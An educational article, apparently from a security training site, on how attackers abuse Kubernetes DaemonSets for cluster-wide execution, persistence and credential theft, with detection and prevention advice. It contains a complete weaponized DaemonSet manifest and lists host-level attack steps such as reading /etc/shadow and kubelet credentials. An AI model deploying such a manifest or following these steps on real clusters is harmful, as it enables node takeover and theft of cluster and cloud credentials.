What is a DaemonSet?

What Is a DaemonSet?

A Kubernetes DaemonSet does one job: it keeps a copy of a given Pod running on every node in the cluster. Add a node and the controller schedules the Pod onto it; drain a node and the Pod goes with it. That is exactly the behavior you want for the plumbing of a cluster, which is why logging agents, monitoring exporters, network plugins, and security tooling are almost always shipped as DaemonSets.

The problem is that "runs everywhere, forever" is just as useful to an attacker as it is to an operator. Get the ability to create or edit a DaemonSet and you have code execution on every node at once, including the ones that get added next week. Now factor in the privileges these workloads normally ask for (host filesystem, host networking, privileged containers), and a rogue DaemonSet turns into one of the cleanest persistence and lateral-movement options anywhere in Kubernetes.

Why Attackers Target DaemonSets

A DaemonSet solves several attacker problems at once, which is what makes it such an attractive primitive:

1. Cluster-wide execution: One manifest lands the payload on every node. No node enumeration, no per-host SSH keys, no exploit chaining: a single kubectl apply is the whole cluster.
2. Automatic persistence: The controller is constantly reconciling toward desired state. Delete the malicious Pod and it comes right back. Scale the cluster out and the new nodes are compromised on their own, with no attacker involvement.
3. Legitimate appearance: Privileged, host-accessing DaemonSets are normal and expected. Call yours node-monitoring-agent or log-collector and it disappears into the noise in a way a lone rogue Pod never could.
4. Inherited privileges: Real logging (Fluentd, Fluent Bit), monitoring (Prometheus Node Exporter), and security agents (Falco, Sysdig) routinely ask for hostPath volumes, hostPID, hostNetwork, and privileged security contexts. Mirror those patterns and anomaly detection that keys on "unusual privilege request" has nothing unusual to flag.

Attack Paths: Creating a Malicious DaemonSet

Whether an attacker can deploy a DaemonSet comes down to their access level and how the cluster's RBAC is configured. A few paths lead there.

Overly Permissive RBAC

The straightest line is a service account or user that holds create or patch on DaemonSets in the apps API group, and this shows up far more often than teams assume. Cluster-admin ClusterRoleBindings handed to CI/CD service accounts, Helm release managers with sweeping permissions, developer namespaces carrying wildcard RBAC rules: each one hands over the capability. Compromise a Jenkins pod whose service account carries apps/v1 daemonsets: ["*"] and you can deploy cluster-wide on the spot.

That is precisely the scenario in the Exploit Kubernetes Overly Permissive RBAC lab on Pwned Labs: start from an over-privileged service account and ride workload creation all the way to full cluster compromise.

Patching Existing DaemonSets

Creating a brand-new DaemonSet might draw a glance, so an attacker holding patch often edits one that is already there instead. Slip an init container or sidecar into the Fluentd DaemonSet and your code runs on every node while the real logging agent keeps humming along as normal. The rolling update strategy does the distribution for you, pushing the modified Pod template out to all nodes.

Compromising GitOps Pipelines

Where GitOps tooling (ArgoCD, Flux) runs the cluster, write access to the infrastructure repo is enough. Commit a malicious DaemonSet manifest, or tweak an existing one, and the GitOps controller applies it for you, no direct API call that would surface in audit logs as a manual action.

Offensive Capabilities of a Malicious DaemonSet

What the DaemonSet can actually do once it lands depends on the privileges its Pods are granted.

Node Breakout via hostPath

Mounting the host filesystem through a hostPath volume is the DaemonSet privilege you will see most, because legitimate agents genuinely need /var/log, /var/lib/docker, or /etc. Mount / instead (the host root), and every file on the node is readable and writable:

• Read /etc/shadow to harvest local user password hashes
• Read kubelet credentials from /var/lib/kubelet/ to authenticate as the node
• Write a cron job to /etc/cron.d/ for persistence outside the Kubernetes layer
• Write SSH authorized keys for direct node access
• Access cloud provider instance metadata credentials via the node's filesystem or network

Credential Harvesting Across All Nodes

Since the Pod is on every node by definition, one pass sweeps credentials from the whole cluster: kubelet client certificates, cloud instance metadata tokens (AWS IMDSv1/v2, GCP metadata, Azure IMDS), service account tokens belonging to other Pods (reachable via hostPath into /var/lib/kubelet/pods/), and secrets sitting in the environment variables of co-located containers. On EKS, GKE, and AKS it rarely stops at the cluster edge: the node's cloud IAM role or managed identity usually reaches resources well beyond Kubernetes, and a cluster compromise quietly becomes a cloud-account compromise.

Network Interception with hostNetwork

Set hostNetwork: true and the Pod shares the node's network namespace. From there an attacker can sniff traffic on the node's physical interfaces, intercept Pod-to-Pod communication crossing the node, bind to the kubelet port (10250) and other node-level services, and reach anything restricted to node IPs: cloud metadata endpoints, internal load balancers, and the like. Add hostPID and processes in other Pods on the node become visible and reachable too.

Cryptomining and Resource Abuse

Cryptomining is the abuse you see in the wild most often. TeamTNT has gone back to this well repeatedly, dropping mining DaemonSets after popping exposed Kubernetes API servers or Docker daemons. The DaemonSet puts a miner on every node to squeeze out maximum compute, and resource limits are usually stripped out or set sky-high so the miner is never throttled, legitimate workloads suffer for it.

Real-World Attack Patterns

DaemonSet abuse is a regular fixture in cloud-native threat reporting:

• TeamTNT campaigns (2020-2023): This threat group automated the deployment of cryptomining DaemonSets across compromised Kubernetes clusters. Their tooling scanned for exposed kubelet APIs and Docker sockets, then deployed DaemonSets with names mimicking legitimate system components to evade detection.
• Hildegard malware (2021): Discovered by Unit 42, Hildegard used a DaemonSet to propagate cryptominers across Kubernetes clusters after initial access through a misconfigured kubelet. The malware established encrypted C2 channels and deployed a tmate reverse shell for persistent access.
• Siloscape (2021): The first known malware targeting Windows containers used DaemonSets as part of its post-exploitation toolkit to maintain persistence across cluster nodes after escaping the container runtime.
• SCARLETEEL (2023): Documented by Sysdig, this operation compromised Kubernetes clusters and deployed workloads across nodes to harvest cloud credentials from instance metadata services, pivoting from the Kubernetes environment into broader AWS account compromise.

Example: Malicious DaemonSet Manifest

Here is what a weaponized DaemonSet actually looks like, a single kubectl apply -f away from running everywhere:

apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: node-health-monitor    # Innocuous name
  namespace: kube-system       # Hides among system components
  labels:
    app: node-health-monitor
spec:
  selector:
    matchLabels:
      app: node-health-monitor
  template:
    metadata:
      labels:
        app: node-health-monitor
    spec:
      hostNetwork: true        # Access node network
      hostPID: true            # See all node processes
      tolerations:
      - operator: Exists       # Run on ALL nodes including control plane
      containers:
      - name: monitor
        image: attacker-registry/implant:latest
        securityContext:
          privileged: true     # Full node access
        volumeMounts:
        - name: host-root
          mountPath: /host
      volumes:
      - name: host-root
        hostPath:
          path: /              # Mount entire host filesystem

Notice that it asks for every dangerous knob at once: a privileged security context, hostNetwork, hostPID, a full host filesystem mount, and a toleration that lets it schedule onto control plane nodes too. Drop it in kube-system under a dull, sensible name and a casual look right past it is the likely outcome.

Detection and Prevention

There is no single control that closes this off. You want defenses at three layers: admission control, runtime monitoring, and RBAC hardening.

Admission Control

Policy engines (OPA Gatekeeper, Kyverno, or the built-in Pod Security Standards) can refuse the exact capabilities a malicious DaemonSet depends on. Good policy denies privileged containers, pins hostPath mounts to specific directories (never /), blocks hostNetwork and hostPID unless something is explicitly exempted, forbids allowPrivilegeEscalation, and limits which namespaces can ship DaemonSets at all. The Secure Kubernetes Using OPA Gatekeeper lab on Pwned Labs walks through building these very policies as Rego constraints to shut down privilege escalation, hostPath abuse, and privileged containers.

RBAC Hardening

The single most effective preventive move is making sure no identity that should not create or modify DaemonSets can. In practice that means auditing every ClusterRoleBinding and RoleBinding for subjects holding create, update, or patch on daemonsets in the apps group, swapping wildcard (*) verb grants for explicit least-privilege ones, binding CI/CD service accounts to namespaced Roles instead of ClusterRoles, and periodically checking which service account tokens are mounted into running Pods.

Runtime Detection

Runtime tooling (Falco, Sysdig Secure, Aqua) has several signals to work with: audit events showing DaemonSet creation or modification in sensitive namespaces, Pods asking for privileged contexts or broad host mounts, unexpected processes (reverse shells, miners) spawning inside DaemonSet Pods, connections from those Pods out to known C2 or mining pools, and container-driven writes to the host filesystem.

Audit Logging

Every API interaction with DaemonSet resources lands in the Kubernetes audit log, so watch it. Track create, patch, and update on daemonsets.apps, with extra attention on kube-system and other privileged namespaces. Alert when a service account that has never managed these resources suddenly does, and when a DaemonSet Pod asks for capabilities beyond your security baseline.

DaemonSet vs. Other Kubernetes Controllers

Related Labs

Put these DaemonSet security concepts into practice with hands-on offensive and defensive labs:

• Exploit Kubernetes Overly Permissive RBAC - Escalate from an over-permissioned service account to cluster-wide compromise through DaemonSet deployment, demonstrating how RBAC misconfigurations enable attackers to deploy persistent workloads across every node.
• Secure Kubernetes using OPA Gatekeeper - Build and deploy OPA Gatekeeper admission controller policies that restrict privileged containers, block hostPath mounts, deny hostNetwork and hostPID, and control which namespaces can deploy DaemonSets.

Frequently Asked Questions

Why are DaemonSets considered high-risk from a security perspective?

Because a DaemonSet guarantees execution on every node. Deploy a malicious one with elevated privileges and you have simultaneous reach into every node's filesystem, network, and credentials. The controller then works against the defender: it recreates deleted Pods and schedules onto freshly added nodes, so it self-heals. Short of deleting the DaemonSet object itself, it is genuinely hard to get rid of.

How do attackers typically gain the ability to create DaemonSets?

Usually through overly permissive RBAC: wildcard ClusterRoleBindings on CI/CD service accounts are the classic. Other common routes are compromised kubeconfig files carrying cluster-admin, exposed API servers with no authentication, compromised GitOps repos that auto-apply manifests, and lateral movement out of a Pod whose service account simply has too much.

What is the difference between a DaemonSet and a Deployment for an attacker?

A Deployment runs N replicas wherever the scheduler puts them, so an attacker gets persistence in a Pod or two but no promise of coverage on every node. A DaemonSet guarantees one Pod per node: cluster-wide reach, every node's host resources, and automatic propagation to new nodes. For anything node-level (credential harvesting, filesystem access, network interception), the DaemonSet is simply the stronger tool.

How can I detect malicious DaemonSet creation?

Watch Kubernetes audit logs for DaemonSet create, patch, and update events, especially in system namespaces. Alert on DaemonSets asking for privileged security contexts, broad hostPath mounts, or hostNetwork/hostPID. Enforce defaults with admission controllers (OPA Gatekeeper, Kyverno) so those capabilities are blocked up front, and lean on runtime tools (Falco) to catch suspicious behavior inside the Pods.

Can OPA Gatekeeper prevent DaemonSet abuse?

Yes. Gatekeeper enforces Rego admission policies that can reject a DaemonSet outright when its Pod spec reaches for dangerous capabilities: privileged containers, hostPath beyond specific directories, hostNetwork and hostPID, privilege escalation. The Secure Kubernetes Using OPA Gatekeeper lab shows how to build and deploy exactly those policies.

Learn this hands-on

DaemonSets run on every node, which makes them a valuable target for anyone seeking node-level access. The Kubernetes Attack and Defense Bootcamp, Professional Edition (KRTP) covers node identity, workload escape and turning a service account token into a cloud credential, in live minikube, EKS, GKE and AKS environments.